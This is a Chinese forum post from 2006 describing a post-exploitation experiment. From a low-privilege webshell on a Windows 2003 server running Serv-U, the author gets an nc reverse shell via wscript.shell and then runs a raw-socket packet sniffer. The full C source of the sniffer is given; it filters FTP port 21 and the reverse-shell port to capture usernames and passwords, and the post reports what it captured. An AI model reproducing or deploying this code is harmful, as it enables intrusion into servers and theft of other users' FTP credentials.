前言:
幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经测试,不能用于win2003服务器中,具体我也不知道,不知道是不是操作有识,反正我是没成功过.
我自己构造了一个环境试了一下,嗅探程序是自己写的,利用raw进行嗅探,如果要arp的话,要装那个wincap,想一想那么低的权限是不可能的.
实验环境:
Windows2003服务器+海洋2006+serv-u5.2
服务器不能直接使用cmd.exe,但可以上传后利用wscript.shell组件执行命令.
实验步骤:
1.利用wcript.shell执行nc 反弹得到shell
2.利用自编写工具进行嗅探(我只嗅探21和9001,其中21为ftp,9001为反弹端口)
CODE:
/*------------------------------------------------------
*file: SnifferFtp.c
*Effect: 用于在webshell进行嗅探实验之用,基于Raw
*Code: Huai_Huai
*Page: Http://hhuai.cn
*Date: 2006.1.12
*-----------------------------------------------------*/
#include
#include
#include "Winsock2.h"
#pragma comment(lib,"WS2_32.lib")
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define STATUS_FAILED 0xFFFF
#define MAX_PACK_LEN 65535
#define MAX_ADDR_LEN 16
#define MAX_HOSTNAME_LEN 255
//定义ip报头
typedef struct _iphdr
{
byte ver_len; //版本4位,头长度4位,报头长度以32位为一个单位
byte type; //类型8位
byte length[2]; //总长度,16位,指出报文的以字节为单位的总长度
//报文长度不能超过65536个字接，否则认为报文遭到破坏
byte id[2]; //报文标示,用于多于一个报文16位
byte flag_offset[2];//标志,3位 数据块偏移13位
byte time; //生存时间,8位
byte protocol; //协议,8位
byte crc_val[2]; //头校验和，16位
byte src_addr[4]; //源地址,32位
byte tar_addr[4]; //目标地址,32位
byte options[4]; //选项和填充,32位
}IP_HEADER;
typedef struct _tcphdr
{
byte source_port[2]; //发送端端口号,16位
byte dest_port[2]; //接收端端口号,16位
byte sequence_no[4]; //32位，标示消息端的数据位于全体数据块的某一字节的数字
byte ack_no[4]; //32位，确认号,标示接收端对于发送端接收到数据块数值
unsigned char offset_reser_con;//数据偏移4位，预留6位，控制位6为
unsigned char th_flag;
byte window[2]; //窗口16位
byte checksum[2]; //校验码,16位
byte urgen_pointer[2]; //16位，紧急数据指针
byte options[3]; //选祥和填充,32位
}TCP_HEADER;
#define PROTOCOL_ICMP 1 //传输控制协议
#define PROTOCOL_GTG 3 //Gateway-to-Gateway
#define PROTOCOL_CGMM 4 //CMCC Gateway Monitoring Message
#define PROTOCOL_ST 5 //ST
#define PROTOCOL_TCP 6 //传输控制协议
#define PROTOCOL_UCL 7 //UCL
#define PROTOCOL_SECURE 9 //secure
#define PROTOCOL_BRM 10 //BBN RCC Monitoring
#define PROTOCOL_NVP 11 //NVp
#define PROTOCOL_PUP 12 //PUP
#define PROTOCOL_PLURIBUS 13 //Pluribus
#define PROTOCOL_TELENET 14 //Telenet
#define PROTOCOL_XNET 15 //XNET
#define PROTOCOL_CHAOS 16 //Chaos
#define PROTOCOL_UDP 17 //UDP
#define PROTOCOL_MULTIPLEXING 18 //Multiplexing
#define PROTOCOL_DCN 19 //DCN
#define PROTOCOL_TAC_MONITORING 20 //TAC Monitoring
#define PROTOCOL_ALN 63 //any local network
#define PROTOCOL_SATNET 64 //SATNET and Backroom EXPAK
#define PROTOCOL_MITSS 65 //MIT Subnet Support
#define PROTOCOL_SATNET_MONIT 69 //SATNET Monitoring
#define PROTOCOL_IPCU 71 //Internet Packet Core Utility
#define PROTOCOL_BK_SATNET_MONI 76 //Backroom SATNET Monitoring
#define PROTOCOL_WIDEBAND_MONI 78 //WIDEBAND Monitoring
#define PROTOCOL_WIDEBAND_EXPAK 79 //WIDEBAND EXPAK
SOCKET SocketRaw;
void startsniffer()
{
char RecvBuf[MAX_PACK_LEN]={0};
char FAR name[MAX_HOSTNAME_LEN];
WSADATA wsa;
struct hostent FAR* pHostent;
SOCKADDR_IN sa;
DWORD OutBuffer[10];
DWORD InBuffer=1;
DWORD BytesReturned=0;
if(WSAStartup(MAKEWORD(2,2),&wsa)!=0)
{
printf("不能加载Winsock DLL!");
exit(0);
}
SocketRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
if(SocketRaw==INVALID_SOCKET)
{
printf("不能创建Socket!");
exit(0);
}
gethostname(name,MAX_HOSTNAME_LEN);
//这里会自动分配内存
pHostent=gethostbyname(name);
sa.sin_family=AF_INET;
sa.sin_port=htons(6000);
memcpy(&sa.sin_addr.S_un.S_addr,pHostent->h_addr_list[0],
pHostent->h_length);
if(bind(SocketRaw,(PSOCKADDR)&sa,sizeof(sa))!=0)
{
printf("不能绑定网卡!");
closesocket(SocketRaw);
exit(0);
}
if(WSAIoctl(SocketRaw,SIO_RCVALL,&InBuffer,sizeof(InBuffer),
&OutBuffer,sizeof(OutBuffer),&BytesReturned,NULL,NULL)!=0)
{
printf("不能创建WSAIoctl!");
closesocket(SocketRaw);
exit(0);
}
}
int ReceiveBuf(byte* buf,int len)
{
return recv(SocketRaw,(char *)buf,len,0);
}
void main()
{
int len;
byte RecvBuf[65535];
char buf[16];
int iphdr_len;
TCP_HEADER* pTcpHeader;
unsigned __int16 src_port;
unsigned __int16 dest_port;
int HdrLen;
__int16 datalen;
IP_HEADER* pIpheader;
int port1,port2;
startsniffer();
while(TRUE)
{
port1=port2=0;
memset(RecvBuf,0,65535);
len=ReceiveBuf(RecvBuf,65535);
if(len>0)
{
pIpheader=(IP_HEADER*)RecvBuf;
/*
switch(pIpheader->protocol)
{
case PROTOCOL_ICMP:
printf("ICMP");
break;
case PROTOCOL_TCP:
printf("TCP");
break;
case PROTOCOL_UDP:
printf("UDP");
break;
default:
printf("其他协议");
break;
}
*/
if(pIpheader->protocol==PROTOCOL_TCP)
{
iphdr_len=(pIpheader->ver_len&0xf)*4;
pTcpHeader=(TCP_HEADER*)(RecvBuf+iphdr_len);
src_port=pTcpHeader->source_port[0]
*0x100+pTcpHeader->source_port[1];
dest_port=pTcpHeader->dest_port[0]
*0x100+pTcpHeader->dest_port[1];
memset(buf,0,16);
sprintf(buf,"%d",src_port);
port1=src_port;
//printf("%s ",buf);
memset(buf,0,16);
sprintf(buf,"%d",dest_port);
port2=dest_port;
//printf("%s ",buf);
if(port1==21 || port2==21 || port1==9001 || port2==9001)
{
HdrLen=(pTcpHeader->offset_reser_con)>>2;
memset(buf,0,16);
sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);
//printf("%s ",buf);
memset(buf,0,16);
sprintf(buf,"%d.%d.%d.%d",pIpheader->src_addr[0],
pIpheader->src_addr[1],pIpheader->src_addr[2],
pIpheader->src_addr[3]);
//printf("%s ",buf);
memset(buf,0,16);
sprintf(buf,"%d.%d.%d.%d",pIpheader->tar_addr[0],
pIpheader->tar_addr[1],pIpheader->tar_addr[2],
pIpheader->tar_addr[3]);
//printf("%s ",buf);
datalen=pIpheader->length[0]
*0x100+pIpheader->length[1];
memset(buf,0,16);
sprintf(buf,"%d",datalen);
//printf("%s ",buf);
HdrLen=(pTcpHeader->offset_reser_con)>>2;
memset(buf,0,16);
sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);
printf("%s",buf);
//printf("\n");
}
}
}
}
}
3.嗅探结果:
4.实验小结:
确实可以嗅到一些信息,在本机winxp sp2可以嗅到ftp密码,但在win2003服务器上运行,就只能嗅到用户名,利用webshell执行的也可以嗅到用户名,一些操作,比如用户目录什么的.
我们的webshell权限可以非常的低,只要能利用wscript.shell就行.
其中有许多细节,需以后仔细的研究,万望论坛的高手能给予一点提示.